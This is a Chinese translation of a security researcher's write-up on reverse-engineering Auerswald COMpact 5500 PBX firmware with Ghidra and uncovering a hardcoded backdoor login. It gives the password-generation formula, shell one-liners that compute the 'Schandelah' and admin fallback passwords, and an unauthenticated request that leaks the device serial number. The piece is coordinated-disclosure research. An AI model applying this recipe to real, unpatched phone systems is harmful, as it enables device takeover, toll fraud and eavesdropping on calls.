我们是如何发现PBX设备的固件后门的(译文)

tang2019 2022-01-10 10:26:00

0x00 概述

在本文中,将为读者介绍我们是如何在一个广泛使用的Auerwald电话系统中发现一个真实世界的后门的。我们不仅会详细描述通过检查固件找到后门的方法,同时,还会考察该漏洞的实际影响。

我们在一次渗透测试过程中,深入分析了Auerwald的IP电话和PBX设备。实际上,PBX的作用,就是将传入和传出的电话呼叫路由到相应的目的地,这与IP路由器并无不同。通常来说,公司一般只使用单个电话号码,并为内部的电话分配不同的分机号码。

在分析这些设备的过程中,我们发现了一份关于Auerwald提供的特定服务的参考资料,该服务用于帮助具有管理员权限的账户重置密码。实际上,只要填写一份表格并与制造商联系,PBX的管理密码就可以被重置。我们想知道这个过程是如何运作的,于是决定仔细考察一番。

0x01 获取并解压固件映像

为了完成这次任务,我们从Auerswald支持网站下载了版本为7.8A的COMpact 5500固件映像。正常情况下,像这样的映像会包含PBX的软件,以方便客户将设备更新到最新版本。由于分发固件映像的文件格式五花八门,所以,我们首先必须弄清楚这个特定文件所使用的格式。为此,最简单的方法就是借助于Linux命令行实用程序file:

$ file 7_8A_002_COMpact5500.rom
7_8A_002_COMpact5500.rom: gzip compressed data, last modified: Wed Sep 23 15:04:43 2020, from Unix, original size modulo 2^32 196976698

该命令的输出结果表明,数据是使用gzip压缩的。所以,我们可以先把文件的扩展名改为.gz,然后使用gunzip程序进行解压:

$ mv 7_8A_002_COMpact5500.rom 7_8A_002_COMpact5500.gz
$ gunzip 7_8A_002_COMpact5500.gz

解压后,我们得到了一个名为7_8A_002_COMpact5500的文件,接下来,我们继续通过file工具对其进行分析:

$ file 7_8A_002_COMpact5500
7_8A_002_COMpact5500: u-boot legacy uImage, CP5500 125850, Linux/ARM, Multi-File Image (Not compressed), 196976634 bytes, Wed Sep 23 15:04:38 2020, Load Address: 0x00000000, Entry Point: 0x00000000, Header CRC: 0xCECA93E8, Data CRC: 0x99E65DF1

这个解压得到的文件是一个“Das U-Boot”(u-boot)引导程序的映像。U-boot是一个常用的引导加载程序,它带有许多命令行工具,可以用来创建或修改映像文件。我们可以通过u-boot工具dumpimage从镜像中提取一些基本信息:

$ dumpimage -l 7_8A_002_COMpact5500
Image Name:   CP5500 125850
Created:      Wed Sep 23 17:04:38 2020
Image Type:   ARM Linux Multi-File Image (uncompressed)
Data Size:    196976634 Bytes = 192359.99 KiB = 187.85 MiB
Load Address: 00000000
Entry Point:  00000000
Contents:
   Image 0: 512 Bytes = 0.50 KiB = 0.00 MiB
   Image 1: 196976110 Bytes = 192359.48 KiB = 187.85 MiB

输出显示,该文件包含两个映像。第一个映像的大小只有512字节,可以忽略不计。第二个映像才是我们感兴趣的,可以用同一工具提取:

$ dumpimage -p 1 -o rootfs 7_8A_002_COMpact5500
$ file rootfs
rootfs: Linux rev 1.0 ext2 filesystem data, UUID=c3604712-a2ca-412f-81ca-f302d7f20ef1, volume name "7.8A_002_125850."

从输出的结果来看,它包含一个Linux ext2文件系统,它可以像普通硬盘映像一样进行挂载。

$ sudo mount -o loop,ro rootfs /mnt

挂载后,我们就可以在/mnt目录下面浏览文件系统的内容了。

0x02 查找Web服务器

根据密码重置功能的文档的介绍,重置过程需要访问web接口,所以,我们首先找到与该web接口的相关的文件。实际上,在/opt/Auerswald文件夹中,含有与Auerswald相关的脚本和配置文件。在这个文件夹中,还有一个名为lighttpd的文件夹,其中存放的是lighttpd web服务器的配置文件,包括文件fastcgi.conf:

$HTTP["referer"] !~ "(.*/ipeditor/.*|.*/styles/main.css)" {
    $HTTP["url"] !~ "^(/statics/css/.*|/statics/errors/.*|[...]" {
        fastcgi.server  = ( "/" => ((
                "socket" => env.fastcgi_socket,
                "check-local" => "disable",
                "x-sendfile" => "enable",
                "fix-root-scriptname" => "enable"
            ))
        )
    }
}
[...]

除了一些静态文件外,其他HTTP请求似乎被转发到一个FastCGI套接字。这个套接字的名字是在lighttpd启动时通过环境变量传递进来的:

$ cd /mnt/opt/auerswald
$ grep -r fastcgi_socket
scripts/run-lighty:export fastcgi_socket=/tmp/webs_fcgi.socket
lighttpd/fastcgi.conf:              "socket" => env.fastcgi_socket,
lighttpd/fastcgi.conf:              "socket" => env.fastcgi_socket,

搜索这个套接字的名称,结果在/opt/auerswald/web/webserver的二进制文件内发现了一个匹配项:

$ grep -ir webs_fcgi
scripts/run-lighty:export fastcgi_socket=/tmp/webs_fcgi.socket
grep: web/webserver: binary file matches

因此,看起来大部分的web接口都是由自定义的二进制应用程序处理的。随后,为了弄清楚密码重置是如何工作的,我们通过Ghidra对二进制代码webserver进行了逆向分析。

0x03 利用Ghidra进行逆向分析

Ghidra是由美国国家安全局(NSA)开发的开源逆向工程工具。最值得注意的是,Ghidra包含一个反汇编器和反编译器,它们试图将机器指令转为人类可读的格式。反汇编程序将机器代码翻译成非常接近实际机器代码的汇编语言,反编译程序则试图将代码翻译成更高级别的编程语言。实际上,Ghidra的反编译程序生成的代码与C语言非常接近。为此,我们可以在Ghidra中创建一个新项目,并导入webserver二进制文件,这样就可以在“CodeBrowser”窗口中打开该文件了。第一次打开文件时,Ghidra会询问是否对文件进行相关的分析,从而进入反编译过程。被Ghidra的界面分为不同的窗格:中央窗格显示反汇编的代码,右侧显示当前选定函数的反编译代码。

进行逆向分析时,一个很好的起点是在二进制代码中搜索已知字符串。为此,我们可以先打开“Defined Strings”窗口,然后,通过该窗口底部的搜索栏来完成这一任务:

1.png

根据Auerswald的文档,我们知道默认用户名为“sub-admin”,所以,我们首先搜索该用户名:

1.png

搜索结果表明找到了一个匹配项,选中该匹配项后,它将显示在反汇编窗格中。在分析过程中,Ghidra除了可以用来反编译二进制文件之外,还可以用来搜索交叉引用。因此,反汇编窗格将显示字符串旁边的地址,这些地址指向使用该字符串的位置。通过双击第一个XREF,反汇编视图将跳转到引用的地址。反编译器窗格现在将显示函数的类C代码。其中,突出显示的行显示了“sub-admin”字符串的使用情况:

1.png

结果表明,代码会调用strcmp函数对变量local_5e8与字符串“sub-admin”进行比较。请注意,这里显示的变量和函数名称并不是原始代码中使用的名称。不难看出,变量local_5e8可能就是用户输入的用户名,因为它与已知的有效用户名进行了比较。为了能够在代码的其他地方也能认出这个变量识是用户名,最好给它取一个更好认的名称。为此,这可以通过右键单击该变量并选择“Rename Variable”来完成这个任务:

1.png

就这里来说,新取的变量名称为username。

在代码中再往上一点,我们可以看到,该用户名还与另一个字符串进行了比较:

iVar5 = strcmp((char *)username,"Schandelah");

0x04 “Schandelah”用户?

看上去,"Schandelah "似乎是一个特殊的用户名。实际上,Schandelah是德国北部一个小村庄的名字,Auerwald的设备就是在那里生产的(见其德语维基百科)。不过有一点很难理解,因为在手册中根本找不到这个用户名。先别急,让我们看看在对用户名比较之后发生了什么……

iVar5 = strcmp((char *)username,"Schandelah");
if (iVar5 == 0) {
  FUN_00287a84(0,&local_94);
  if (local_600 == (undefined4 *)0x0) {
    [...]
  }
  else {
    iVar5 = strcmp((char *)local_600,(char *)&local_94);
    if (iVar5 == 0) {
      [...]
      goto LAB_00015954;
    }
  }
}

因此,如果用户名是Schandelah,那么函数FUN_00287a84将被调用,并引用了变量local_94(第3行)。这里的按引用传递表明,FUN_00287a84函数以某种方式修改了变量local_94。之后,如果变量local_600不是0,就用strcmp(第8行)将其与local_94的内容进行比较。在检查了其他使用local_600的地方后,结果很明显:这正是用户输入的密码。因此,local_94一定是用户Shandelah的密码。为了得到这个密码的内容,我们必须考察FUN_00287a84函数,为此,可以双击FUN_00287a84,以获得该函数的定义:

void FUN_00287a84(undefined4 param_1)
{
  FUN_002878e8(param_1,0,0);
  return;
}

不难看出,这只是一个包装函数,用预先定义的参数调用另一个函数:

void FUN_002878e8(undefined4 *param_1,int param_2,uint param_3,undefined4 param_4)
{
  undefined4 uVar1;
  undefined4 local_c4;
  [...]

  if (param_1 == (undefined4 *)0x0) {
    param_1 = &local_84;
    FUN_00289af4(param_1,0x21);
  }
  if (param_2 != 0) {
    if (param_3 < 0x12) {
      __strcpy_chk(&local_2c,(&PTR_DAT_00366940)[param_3],8);
    }
    else {
      local_2c = 0x2e612e6e;
      local_28 = local_28 & 0xffffff00;
    }
  }
  uVar1 = FUN_0027b640(&local_3c,0x10);
  __snprintf_chk(&local_c4,0x40,1,0x40,"%s%s%s%s",param_1,&DAT_0036698c,uVar1,&local_2c);
  FUN_002693f8(&local_c4,&local_60);
  FUN_002748e0(param_4,&local_60,8);
  [...]
}

这个函数首先使用函数FUN_00289af4和FUN_0027b640来检索某些值。然后,在第21行,snprintf被用来串联四个字符串。为了找出完整的字符串,我们必须弄清每个参数的值。我们先从param_1开始,代码在第9行用函数调用FUN_00289af4来获取它。同样,双击该函数,Ghidra就会跳到该函数:

void FUN_00289af4(char *param_1,uint param_2)
{
  int iVar1;
  [...]
  memset(param_1,0,param_2);
  iVar2 = FUN_0028a1c4();
  if (iVar2 != 0) {
    FUN_002748e0(param_1,iVar2 + 0x20,uVar4);
  }
  [...]
  if (iVar2 != 0) {
    FUN_002546f8(0x164,5,0,"targetlib_ifc_impl.c",0x15,"auer_getPbxSerialNumber",0x18,0xd3,
                 "%s: serial=%s","auer_getPbxSerialNumber",param_1);
  }
  [...]
  return;
}

幸运的是,该函数的原始名称以字符串的形式包含在该函数中。具体来说,其名称是auer_getPbxSerialNumber,从字面不难看出,这个函数检索的是PBX的序列号。第12行和第13行中调用的函数可能会生成相应的日志信息。为了便于在其他地方认出它,我们将其重命名为auer_debuglog。同时,我们还将当前函数FUN_00289af4重命名为auer_getPbxSerialNumber。然后,我们可以使用键盘快捷键"Alt + Left Arrow "跳回之前访问过的函数。

以类似的方式,我们最终弄清了snprintf函数的所有其他参数。在给每个变量和函数取了一个合适的名字后,串联的字符串的内容就渐渐浮出水面:

void FUN_00289af4(char *param_1,uint param_2)
{
  undefined4 currentDate;
  undefined4 local_c4;
  [...]

  if (pbx_snr == (undefined4 *)0x0) {
    pbx_snr = &local_84;
    auer_getPbxSerialNumber(pbx_snr,0x21);
  }
  if (param_2 != 0) {
    if (param_3 < 0x12) {
      __strcpy_chk(&countrycode,(&countrycodes)[param_3],8);
    }
    else {
      countrycode = 0x2e612e6e;
      local_28 = local_28 & 0xffffff00;
    }
  }
  currentDate = getCurrentDateAsString(&local_3c,0x10);
  __snprintf_chk(&local_c4,0x40,1,0x40,"%s%s%s%s",pbx_snr,"r2d2",currentDate,&countrycode);
  FUN_002693f8(&local_c4,&local_60);
  FUN_002748e0(param_4,&local_60,8);

首先,PBX的序列号(第9行)会被检索。之后,如果函数的第二个参数不等于零,则从列表中检索两个字母的国家代码(第11至19行)。但是,包装器函数会令此参数始终为零,因此,我们可以跳过国家代码。最后,当前日期以“dd.mm.yyyy”格式(第20行)作为字符串读取,这是德国常见的日期表示形式。然后,根据这些值形成一个字符串,附加的硬编码字符串r2d2介于两者之间。最后,代码将得到的字符串作为函数fun_002693f8的参数进行传递:

void FUN_002693f8(char *param_1,char *param_2)
{
  [...]
  local_90 = 0xefcdab89;
  local_94 = 0x67452301;
  local_8c = 0x98badcfe;
  local_88 = 0x10325476;

  sVar1 = strlen(param_1);
  FUN_00268aac(&local_94,param_1,sVar1);
  FUN_00268ce4(&local_3c,&local_94);

  *param_2 = "0123456789abcdef"[local_3c >> 4];
  param_2[1] = "0123456789abcdef"[local_3c & 0xf];
  param_2[2] = "0123456789abcdef"[local_3b >> 4];
  param_2[3] = "0123456789abcdef"[local_3b & 0xf];
  [...]
  param_2[0x1f] = "0123456789abcdef"[local_2d & 0xf];
  param_2[0x20] = '\0';
  [...]
}

该函数首先用静态值初始化4个局部变量(第4行到第7行)。借助于搜索引擎,我们发现这些幻数是用于MD5哈希算法的(参见RFC 1321,第3.3节):

3.3 Step 3. Initialize MD Buffer

   A four-word buffer (A,B,C,D) is used to compute the message digest.
   Here each of A, B, C, D is a 32-bit register. These registers are
   initialized to the following values in hexadecimal, low-order bytes
   first):

          word A: 01 23 45 67
          word B: 89 ab cd ef
          word C: fe dc ba 98
          word D: 76 54 32 10

请注意,该RFC使用的是小端字节顺序,而Ghidra将这些值显示为大端字节顺序的整数。函数FUN_00268aac(第10行)和FUN_00268ce4(第11行)对应于MD5的更新和最终确定操作。在最终确定摘要后,部分结果被用作由a到f的所有ASCII数字和字母组成的字符串的索引(第13至19行)。这使我们得出结论,函数FUN_002693f8用于计算param_1处字符串的MD5摘要,并且是一个小写字母的十六进制值。同时,输出被写入param_2表示的地址处:

在对函数进行相应的重命名后,现在只剩下一个未知函数:

__snprintf_chk(&unhashedPassword,0x40,1,0x40,"%s%s%s%s",pbx_snr,"r2d2",currentDate,&countrycode);
md5(&unhashedPassword,&hexHash);
FUN_002748e0(param_4,&hexHash,8);

该函数有三个参数:param_4(目前其值未知)、十六进制形式的MD5摘要和硬编码值8。同样,该函数也包含其名称的信息:

void FUN_002748e0(char *param_1,char *param_2,size_t param_3)
{
  [...]
  if ((int)param_3 < 1) {
    __fprintf_chk(stderr,1,"%s: ungueltiger Aufruf mit size = %d durch %p!","auer_strncpy",param_3);
    fflush(stderr);
  }
  else {
    strncpy(param_1,param_2,param_3);
    param_1[param_3 - 1] = '\0';
  }
  [...]
}

该函数似乎是strncpy函数的包装器,它将字符串从一个地址复制到另一个地址。由于值8是作为参数给出的,我们不妨假设这表示检索MD5哈希值的前八个字符。

这样分析下来,用户Schandelah的后门密码似乎是用以下算法构造的:

  • 检索PBX的序列号
  • 以字符串形式检索当前日期
  • 计算以下值的MD5哈希值:序列号+“R2D2”+当前日期(形式为dd.mm.yyyy)
  • 返回计算出的哈希值的前8个字符

因此,攻击者要想为用户Schandelah生成密码,所需知道的唯一秘密信息就是PBX的序列号。然而,事实证明,这些信息并没有那么难搞,而是可以在无需身份验证的情况下从路径/about_state中得到:

$ curl --include https://192.168.1.2/about_state
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]

{
  "pbx": "COMpact 5500R",
  "pbxType": 35,
  "pbxId": 0,
  "version": "Version 7.8A - Build 002  ",
  "serial": "1234123412",
  "date": "30.08.2021",
  [...]
}

于是,我们用上面的方法计算了密码,然后尝试通过用户Schandelah进行登录,但是,身份验证却失败了。目前来看,失败的原因可能有多种,由于我们无法调试PBX,所以,必须再次通过反编译代码来检查密码生成过程的每一步。最后,发现是因为未能正确理解strncpy包装器的实现:虽然strncpy确实只复制了八个字符,但是包装器auer_strncpy却能确保字符串以null字符结尾:

strncpy(param_1,param_2,param_3);
param_1[param_3 - 1] = '\0';

因此,后门密码实际上仅由MD5哈希值的七个字符组成,例如:

$ echo -n 1234123412r2d230.08.2021 | md5sum | egrep -o '^.{7}'
1432d89

使用这个密码,我们就可以成功地进行身份验证。登录后,web界面显示一个特殊的服务页面,并且,该页面允许重置管理员密码。

0x05 更多类似“Schandelah”这样的用户?

虽然这个后门密码允许我们重置管理员密码并获得PBX上的完全权限,但我们想知道是否在其他地方也使用了该密码生成器。于是,我们使用Ghidra的交叉引用搜索来查找密码生成函数的其他调用,并找到了以下代码:

iVar5 = strcmp((char *)password,(char *)&local_d8);
if (iVar5 != 0) {
  [...]
  FUN_0019441c(param_1[2],"TkLand",&local_5c4);
  generate_backdoor_password(0,1,local_5c4,&local_2d8);
  iVar5 = strcmp((char *)password,(char *)&local_2d8);
  goto joined_r0x00015678;
}

当传递管理员用户名admin时,系统将执行这个代码分支。首先,它会检查存储在变量local_d8中的实际管理密码。如果用户输入的密码不匹配,则再次将其与使用后门例程生成的“后备”密码进行比较。但是,这一次,将读出为PBX配置的国家代码,并将其作为参数传递。因此,这会使用两个字母的国家代码生成管理员用户的后备密码,例如:

$ echo -n 1234123412r2d230.08.2021DE | md5sum | egrep -o '^.{7}'
92fcdd9

这个管理员后备密码提供对PBX的全部访问特权,而无需首先更改密码。

0x06 该漏洞有何影响?

虽然后门密码是在对特定Auerswald PBX进行渗透测试时发现的,但该制造商的许多其他PBX型号也受到影响。在某些情况下,这些PBX设备的web接口是面向互联网的,因此,可能会在大规模攻击中受到损害。很难说到底有多少设备受到影响,但在Shodan上进行搜索表明,互联网上的确有一些Auerswald lighttpd服务器。但是,并不是所有的返回结果都是PBX设备,而且这次搜索没有考虑固件版本。

1.png

由于这些设备大多为公司处理传入和传出的电话呼叫,因此,一旦设备被入侵就可能产生严重后果。例如,攻击者可以通过拨打收费电话来获得经济利益,或者窃听敏感电话,以获得对其有利的信息。

0x07 其他安全漏洞

由于所有测试的Auerwald设备都有基于Web的配置界面,我们也检查了这些界面是否存在典型的Web漏洞。结果发现了一种安全漏洞:攻击者可以从一个IP电话中读出证书(CVE-2021-40856),以便获得PBX的某些访问权限。然后,攻击者可以进一步提升权限,从而获得“sub-admin”用户的权限(CVE-2021-40857),这样就能进一步配置PBX了。因此,总的来说,我们发现了一些获得对电话基础设施的高权限访问的漏洞。

0x08 小结

该漏洞存在于受影响设备的多个固件版本中,因此只有制造商本身才能提供彻底的修复。经客户同意,我们向Auerwald披露了该漏洞的细节。为了促进修复进程,我们设定了一个90天的固定时间框架,之后我们也向公众公布了漏洞的细节。之所以这么做,一方面是留给供应商足够的时间来修复漏洞,同时,也能确保其他受影响的企业了解这个安全问题和潜在的缓解措施。我们总是确保以一种非常清晰的方式传达我们的披露过程。此外,我们还试图以合理的方式协调公开披露和供应商发布修复程序的工作。在漏洞的细节被公布之前,应该给客户足够的时间来更新他们的系统。

Auerswald的反应堪称典范,承认了这个安全漏洞并及时发布了受影响设备的更新固件。再此过程中,还及时与我们进行沟通,提供了修复后的固件,以便我们在发布前对设备进行测试,以确保漏洞得到了正确解决。感兴趣的读者可以在我们的公告中找到公开披露过程的时间表。

原文地址:https://blog.redteam-pentesting.de/2021/inside-a-pbx/

评论

M

microfan 2022-01-17 10:14:43

师傅 问一个不相关问题 译文也能拿到500+稿费嘛 还是用爱发电

secdragon 2022-01-19 12:00:11

@microfan 译文有500哈,但是对原文水平及翻译的质量要求比较高。

M

microfan 2022-01-19 12:14:28

@二龙 谢谢站长解惑 同时也感谢您为安全圈带来这么好的安全社区

T

tang2019

这个人很懒,没有留下任何介绍

随机分类

Android 文章:89 篇
浏览器安全 文章:36 篇
数据安全 文章:29 篇
安全管理 文章:7 篇
PHP安全 文章:45 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录